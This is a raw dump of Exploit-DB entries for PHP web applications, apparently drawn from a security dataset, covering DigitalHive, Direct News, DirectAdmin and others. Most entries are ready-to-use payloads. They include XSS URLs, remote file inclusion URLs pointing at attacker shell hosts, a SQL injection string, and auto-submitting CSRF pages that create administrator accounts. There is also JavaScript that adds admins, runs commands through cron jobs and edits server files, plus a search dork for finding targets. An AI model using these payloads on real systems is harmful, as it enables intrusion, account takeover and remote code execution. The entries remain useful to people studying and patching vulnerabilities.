deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25264
Description: DigitalHive 2.0 - 'membres.php?mt' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-23
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/12883/info
 
DigitalHive is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hive/base.php?page=membres.php&mt="/><script>alert()</script>1
Exploit-DB #25263
Description: DigitalHive 2.0 - 'msg.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-23
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/12883/info

DigitalHive is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/hive/base.php?page=forum/msg.php-afs-1-"/><script>alert()</script>1
Exploit-DB #2566
Description: DigitalHive 2.0 RC2 - 'base_include.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-15
Author: SHiKaA

Exploit:
#==============================================================================================
#DigitalHive <= v2.0 RC2 (page) Remote File Inclusion Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.digitalhive.com/base.php?page=site/telechargements.php&var=accueil    
#                                                                     
#Version : v2.0 RC2                                           
#                                                       
#================================================================================================
#
#DORK : "Powered by DigitalHive"
#
#================================================================================================
#Bug in : template/purpletech/base_include.php
#
#Vlu Code :
#--------------------------------
#
#        <?php include ($_GET["page"]); ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/template/purpletech/base_include.php?page=http://SHELLURL?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-10-15]
Exploit-DB #37461
Description: DigPHP - 'dig.php' Script Remote File Disclosure
Type: webapps
Platform: php
Date: 2012-06-26
Author: Ryuzaki Lawlet

Exploit:
source: https://www.securityfocus.com/bid/54207/info

DigPHP is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in further attacks. 

http://www.example.com/dig.php?action=file&dir=
Exploit-DB #2481
Description: Dimension of phpBB 0.2.6 - 'phpbb_root_path' Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-05
Author: SpiderZ

Exploit:
_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Dimension of phpBB Remote File Inclusion Vulnerability
# For: Dimension of phpBB 0.2.5 (phpBB 2.0.21)
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion

http://site.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://[Evil_script]

http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script]


------------------------------------------------------------------------------

# Download: http://www.phpbb-dimension.de/dload.php?action=category&cat_id=16

------------------------------------------------------------------------------

# milw0rm.com [2006-10-05]
Exploit-DB #44897
Description: Dimofinf CMS 3.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-06-15
Author: Renzi

Exploit:
# Title: Dimofinf CMS 3.0.0 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-06-13
# Software: Dimofinf CMS Version 3.0.0
# CVE: CVE-2018-12094

# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Dimofinf CMS" web-application.
# The vulnerability is located in the 'id' parameter of the`news.php` action GET method request.
 
# PoC
http://Target/news.php?id=604""</|\><plaintext/onmouseover=prompt(/XSS/)>
Exploit-DB #37581
Description: Dir2web - '/system/src/dispatcher.php?oid' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-07
Author: Daniel Correa

Exploit:
source: https://www.securityfocus.com/bid/54845/info

Dir2web is prone to multiple security vulnerabilities, including an SQL-Injection vulnerability and an information-disclosure vulnerability.

Successfully exploiting these issues allows remote attackers to compromise the software, retrieve information, modify data, disclose sensitive information, or gain unauthorized access; other attacks are also possible.

Dir2web versions 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?wpid=homepage&oid=6a303a0aaa&apos; OR id > 0-- -
Exploit-DB #11882
Description: Direct News 4.10.2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-25
Author: mat

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
Direct News 4.10.2 Multiple Remote File Include Vulnerability
Script: http://code.google.com/p/directnews/downloads/list
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/menu.php)
#
#<?...
#include_once $rootpath .'/library/lib.menu.php';
#include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/media/update_content.php)
#
#<?...
#require_once $adminroot . '/inc.php';
#require_once './lib.media.php';
#require_once $adminroot . '/verif_identite.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/class.backup.php)
#
#<?...
#require_once $adminroot .'/inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/lib.menu.php)
#
#<?...
#require_once $rootpath . '/library/class.menuPere.php';
#...?>
#################################################

Usage: http://[target]/[path]/admin/menu_xml.php?rootpath=http://[shellscript]
       http://[target]/[path]/admin/media/update_content.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/class.backup.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/lib.menu.php?rootpath=http://[shellscript]

Greetings: All Hackerz
Exploit-DB #26897
Description: Direct News 4.9 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15957/info

Direct News is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 4.9 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/?setLang=[SQL]
Exploit-DB #29002
Description: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_FORWARDER_MODIFY' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
   
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
   
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_FORWARDER_MODIFY?DOMAIN=demo.com&user=XSS
Exploit-DB #29005
Description: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_LIST' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
      
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
      
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_LIST?action=view&DOMAIN=demo.com&name=XSS
Exploit-DB #29004
Description: DirectAdmin 1.28/1.29 - 'CMD_EMAIL_VACATION_MODIFY' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
     
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
     
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_EMAIL_VACATION_MODIFY?DOMAIN=demo.com&user=XSS
Exploit-DB #29006
Description: DirectAdmin 1.28/1.29 - 'CMD_FTP_SHOW' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
       
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_FTP_SHOW?DOMAIN=demo.com&user=XSS
Exploit-DB #28999
Description: DirectAdmin 1.28/1.29 - 'CMD_SHOW_RESELLER' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info

DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_SHOW_RESELLER?userXSS
Exploit-DB #29000
Description: DirectAdmin 1.28/1.29 - 'CMD_SHOW_USER' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
 
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_SHOW_USER?user=XSS
Exploit-DB #29003
Description: DirectAdmin 1.28/1.29 - 'CMD_TICKET' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
    
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_TICKET?action=view&number=000000044&type=XSS
Exploit-DB #29001
Description: DirectAdmin 1.28/1.29 - 'CMD_TICKET_CREATE' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-12
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21049/info
  
DirectAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Versions 1.28.1 and 2.29 are vulnerable; other versions may also be affected.

http://www.example.com:2222/CMD_TICKET_CREATE?TYPE=XSS
Exploit-DB #29747
Description: DirectAdmin 1.292 - 'CMD_USER_STATS' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-03-16
Author: Mandr4ke

Exploit:
source: https://www.securityfocus.com/bid/22996/info

DirectAdmin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/CMD_USER_STATS?RESULT='http://example2.com/script.js'
Exploit-DB #10779
Description: DirectAdmin 1.34.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2009-12-29
Author: SecurityRules

Exploit:
# Vendor: [http://www.directadmin.com/]
# Code : [Create Administrator] :


<html>
<title>DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability</title>
<!--!Set You'r victim By SarBoT511 !-->
<form name="reseller" action="http://site.com:2222/CMD_ACCOUNT_ADMIN" method="post">
<input type="hidden" name=action value=create>
<input type="hidden" name="username" value="sec-r1z"></br>
<input type="hidden" name="email" value="r1z@sec-r1z.com"></br>
<input type="hidden" name="passwd" value="123456789"></br>
<input type="hidden" name="passwd2" value="123456789"></br>
<input type="hidden" value="Submit">
<body onload="document.forms.reseller.submit();">
</html>
Exploit-DB #39469
Description: DirectAdmin 1.491 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-02-18
Author: Necmettin COSKUN

Exploit:

=============================================================================
# Title   : DirectAdmin (1.491) CSRF Vulnerability 
# Date    : 27-10-2014 updated 18-02-2016
# Version : >=1.491 
# Author  : Necmettin COSKUN =>@babayarisi
# Blog    :http://ha.cker.io
# Vendor  : http://www.directadmin.com/
# Download: http://www.directadmin.com/demo.html
=============================================================================
# info : DirectAdmin is a web-based hosting control panel.

#As you can see original form doesn't include csrf protection or any secret token.
<form name=reseller action="CMD_ACCOUNT_ADMIN" method="post" onSubmit="return formOK()">
<input type=hidden name=action value=create>
<tr><td class=list>Username:</td><td class=list><input type=text name=username maxlength=12 onChange="checkName()"></td></tr>
<tr><td class=list>E-Mail:</td><td class=list><input type=text name=email onChange="checkEmail()"></td></tr>
<tr><td class=list>Enter Password:</td><td class=list><input type=password name=passwd> <input type=button value="Random" onClick="randomPass()"></td></tr>
<tr><td class=list>Re-Enter Password:</td><td class=list><input type=password name=passwd2 onChange="checkPass()"></td></tr>
<tr><td class=list>Send Email Notification:</td><td class=list><input type=checkbox value="yes" name=notify checked> <a href="javascript:showAdminMessage();">Edit Admin Message</a></td></tr>

<tr><td td class=listtitle colspan=3 align=right>
<input type=submit value="Submit">
</td></tr>
</form>

#POC
<html>
<head>
<title>POC</title>
</head>
<script language="javascript">

function yurudi(){
var adress  ="www.demo.com";
var username="demo";
var email   ="demo@demo.com";
var password="12345";
var urlson="https://"+adress+":2222/CMD_ACCOUNT_ADMIN?action=create&username="+username+"&email="+email+"&passwd="+password+"&passwd2="+password;

document.getElementById("resim").src=urlson;
}
</script>

<body onload="yurudi()">
<img id="resim" src="" style="height:0px;width:0px;"></img>
</body>
</html>
#POC

# don't be evil!
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
Exploit-DB #46520
Description: DirectAdmin 1.55 - 'CMD_ACCOUNT_ADMIN' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-03-08
Author: ManhNho

Exploit:
# Exploit title: DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel
# Date: 03/03/2019
# Exploit Author: ManhNho
# Vendor Homepage: https://www.directadmin.com/
# Software Link: https://www.directadmin.com/
# Demo Link: https://www.directadmin.com:2222/CMD_ACCOUNT_ADMIN
# Version: 1.55
# CVE: CVE-2019-9625
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to
create new admin account

#2. PoC
-----------------------------------------------------
a) Send below crafted request to logged in user who is having admin
Administrator level access

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server:2222/CMD_ACCOUNT_ADMIN" method="POST">
      <input type="hidden" name="fakeusernameremembered" value="" />
      <input type="hidden" name="fakepasswordremembered" value="" />
      <input type="hidden" name="action" value="create" />
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="email" value="attacker&#64;mail&#46;com" />
      <input type="hidden" name="passwd" value="123456" />
      <input type="hidden" name="passwd2" value="123456" />
      <input type="hidden" name="notify" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


b) Once the logged in user opens the URL the form will get submitted
with active session of  administrator and action get performed
successfully.

#3. References

-----------------------------------------------------


https://github.com/ManhNho/CVEs/blob/master/New-Requests/DirectAdmin-CSRF

https://nvd.nist.gov/vuln/detail/CVE-2019-9625
Exploit-DB #46694
Description: DirectAdmin 1.561 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2019-04-15
Author: InfinitumIT

Exploit:
# Title: DirectAdmin Multiple Vulnerabilities to Takeover the Server <= v1.561
# Date: 12.04.2019
# Author: InfinitumIT
# Vendor Homepage: https://www.directadmin.com/
# Version: Up to v1.561.
# CVE: CVE-2019-11193
# info@infinitumit.com.tr && infinitumit.com.tr

# Description:
# Multiple security vulnerabilities has been discovered in popular server control panel DirectAdmin, by
# InfinitumIT. Attackers can combine those security vulnerabilities and do a lot of critical action like server control takeover.
# Those vulnerabilities (Cross Site Scripting and Cross Site Request Forgery) may cause them to happen:
# Add administrator, execute command remote (RCE), Full Backup the Server and Upload the Own Server, webshell upload and more.

# Reflected XSS Vulnerabilities:
# https://SERVERIP:2222/CMD_FILE_MANAGER/XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_USER?user=XSS-PAYLOAD
# https://SERVERIP:2222/CMD_SHOW_RESELLER?user=XSS-PAYLOAD

# Example Payloads:
# Add Administrator:
var url = "http://SERVERIP:2222/CMD_ACCOUNT_ADMIN";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&username=username&emai
l=test%40test.com&[CREDENTIAL_REDACTED]=password&notify=ye";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Remote Command Execution by Cron Jobs:
var url = "http://SERVERIP:2222/CMD_CRON_JOBS";
var params =
"action=create&minute=*&hour=*&dayofmonth=*&month=*&dayofweek=*&command=command";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Edit File:
var url = "http://SERVERIP:2222/CMD_ADMIN_FILE_EDITOR";
var params = "file=the-file-full-path&action=save&text=new-content";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);

# Create FTP Account:
var url = "http://SERVERIP:2222/CMD_FTP";
var params =
"fakeusernameremembered=&fakepasswordremembered=&action=create&domain=infinitumit.com.tr
&user=username&[CREDENTIAL_REDACTED]=Save+Password&passwd2=password&type=domain&cu
stom_val=%2Fhome%2Fusername&create=Create";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);


# Vulnerabilities are fixed in minutes, thanks to DirectAdmin.
# InfinitumIT / For safer days...